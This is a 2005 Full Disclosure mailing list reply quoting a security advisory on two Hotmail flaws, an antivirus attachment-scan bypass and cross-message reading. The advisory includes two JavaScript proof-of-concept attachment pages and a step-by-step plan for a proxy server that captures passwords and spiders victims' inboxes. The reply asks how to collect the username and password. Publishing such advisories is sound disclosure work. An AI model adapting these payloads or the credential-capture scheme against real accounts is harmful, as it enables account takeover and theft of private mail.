Full Disclosure mailing list archives
Re: [VulnWatch] Hotmail Advisories
From: Sherwyn Williams <sherwill22 () tmail com>
Date: Wed, 4 May 2005 07:51:17 -0400
Ok I think I get what you are saying, however to use this vuln, would need to have a script running on a server some where that recieves the username and password?
Or just based on what you have here this can be possible. If one does not have knowledge of java script, all the would have to do is use those various html codes you wrote and send that to them as an attachment, but how would I get the username and password ????
On Tue, 3 May 2005 19:07, Luis A. Cortes Zavala wrote:
26, of April, 2005 Hotmail Antivirus Attachment Bypass. Hotmail Cross Site Message Explore.Hotmail is one of the sites who receive more attacks from Hackers, and it's supposed to be one of the more secure sites I have seen. But as some people say, you will never get security at 100%. The risk is every time out there.* BackgroundI was testing this until I can get some working code, the authorization and validation of the site is one of the better that I seen on a mailing system, I never heard about vulnerabilities of hotmail as in others systems, I just have knowledge of two flaws discovered. One on 1999 is from George Guninski, and the other when the pwdreset function make its public, every year hotmail is updated, and getting more secure, and it's hard to believe that no onehave found this before. * DescriptionThe flaws are made when the user seems the attachment, we can execute, codeon the user machine, this could result in information disclosure, and credentials exposure. * Analysis Hotmail Antivirus Attachment Bypass.This is possible thanks to the way that Hotmail manage HTML attachments, when we send a file with html content, hotmail will try open it in a pop upwindows after McAfee antivirus check is made, so here we have access to execute some arbitrary JavaScript code. The link for the first attachment usually is like: http://by17fd.bay17.hotmail.msn.com/cgi-bin/getmsg?curmbox=F000000001 <http://by17fd.bay17.hotmail.msn.com/cgi-bin/getmsg?curmbox=F000000001&a=Ses sionID&msg=MSGID&start=VAR&len=VAR&mimepart=Number&vscan=scan> &a=SessionID&msg=MSGID&start=VAR&len=VAR&mimepart=Number&vscan=scan If we seen the next attachment of the file will be the same link but mimepart is the next one number, so what happen if we ask for the link without the "vscan=scan" at the end of the line?Usually we could not make this, but if we take our URL with the JavaScriptcode, and recreate the URL with the next mimepart, and without the"vscan=scan", we can ask for a window.open(Fakedurl); and the result is that the next attachment is called without the needed to pass the antivirus testof hotmail. Risk: High This could result in a serious damage for users. Proof of Concept __________________________________________________________________ <html> <head> </head> <body> <script> str1=document.URL; str2=str1.split("?"); str3=str2[1]; str4=str3.split("&"); str5=str4[1]+"&"+str4[2]+"&"+str4[3]+"&"+str4[4]+"&mimepart="; str6=str4[5]; str7=str6.split("="); str8=str7[1]; str9=parseInt(str8)+1; str10=str5+str9; str11="http://by17fd.bay17.hotmail.msn.com/cgi-bin/getmsg?curmbox=F000000001 &"; str12=str11+str10; window.open(str12); </script> Hi this is my proof of concept!. </body> </html> ____________________________________________________________________________ ___ Hotmail Cross Site Message Explore.This is possible thanks to the way that Hotmail manage HTML attachments, when we send a file with html content, hotmail will try open it in a pop upwindows after McAfee antivirus check is made, so here we have access to execute some arbitrary JavaScript code. And plus to this, hotmail uses the next two functions to pass from one message to another: Going to previous message: javascript:S('getmsg','','','','','MSGID','','','prev','') Going to Next message: javascript:S('getmsg','','','','','MSGID','','','next','')As we can see, we only need to pass to the function the actual message ID, and call it, and we will have next or previous message on screen, withoutknowledge of the MSGID of the next or previous message.So if we include arbitrary JavaScript code on the attachment asking for the next message, (we can use, hotmail function, or just make our own functionfor this), we can get the all the others messages in account. Risk: High This could result in a serious damage for users or/and information disclosure. Proof of Concept __________________________________________________________________ <html> <head> </head> <body> <script> str1=document.URL; str2=str1.split("?"); str3=str2[1]; str4=str3.split("&"); str5="http://by17fd.bay17.hotmail.msn.com/cgi-bin/getmsg?msg=&start=&len=&mf s=&cmd=next&lastmsgid="; str6=str4[2]; str7=str6.split("="); str8=str7[1]; str9="&msgread=&etype=&wo="; str10=str5+str8+str9+"&"+str4[0]+"&"+str4[1] window.open(str10); </script> hola napa </body> </html> ____________________________________________________________________________ ___ * Reach Imagine this situation. This is a Proof of Concept Situation.This is just a test, and an example, more ways could be more dangerous. But I don't think on expose them. Also the POC of the application I mention willnot be exposed for security reasons. ______________________________________________________________________ More than 50% of the users could fall on this. 1. One user opens an attachment html from one friend. 2. The windows opens, and the user only seen that hotmail, with hotmailURL, ask again just for the password, because the session remember your mailactual account. 3. At the background, attach have frames to not change the URL userseems, get the original URL, and call some application on one server, withthe URL as parameter. 4. This server asks for the page of hotmail with the URL reconstructed for call the same message. 5. Hotmail responds the login page but only ask the password. 6. Application on server acting as a proxy replacing the post or get functions to point to the server application, sending the user, and the password as news parameters for the application. 7. The server logs in as the user, and continues acting like a proxy, for all session or until the windows gets closed by user, and logs allinformation about the session. Or just send a page with close statement,after the password has been logged.Normal users don't see the difference, but we already have all information for use the account of the victim user. Or just the application can spider,the inbox of them and save them to a database. ______________________________________________________________________ Luis Alberto Cortes Zavala Senior Security Consultant luis.cortes () hypersec co uk http://www.hypersec.co.uk
Sherwyn Williams Technical Consultant (917) 650-5139 Sherwill22 () tmail com _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Re: [VulnWatch] Hotmail Advisories Sherwyn Williams (May 04)
- Re: Re: [VulnWatch] Hotmail Advisories Jerome Athias (May 04)
- RE: Re: [VulnWatch] Hotmail Advisories Luis A. Cortes Zavala (May 04)
- Re: Re: [VulnWatch] Hotmail Advisories Jerome Athias (May 04)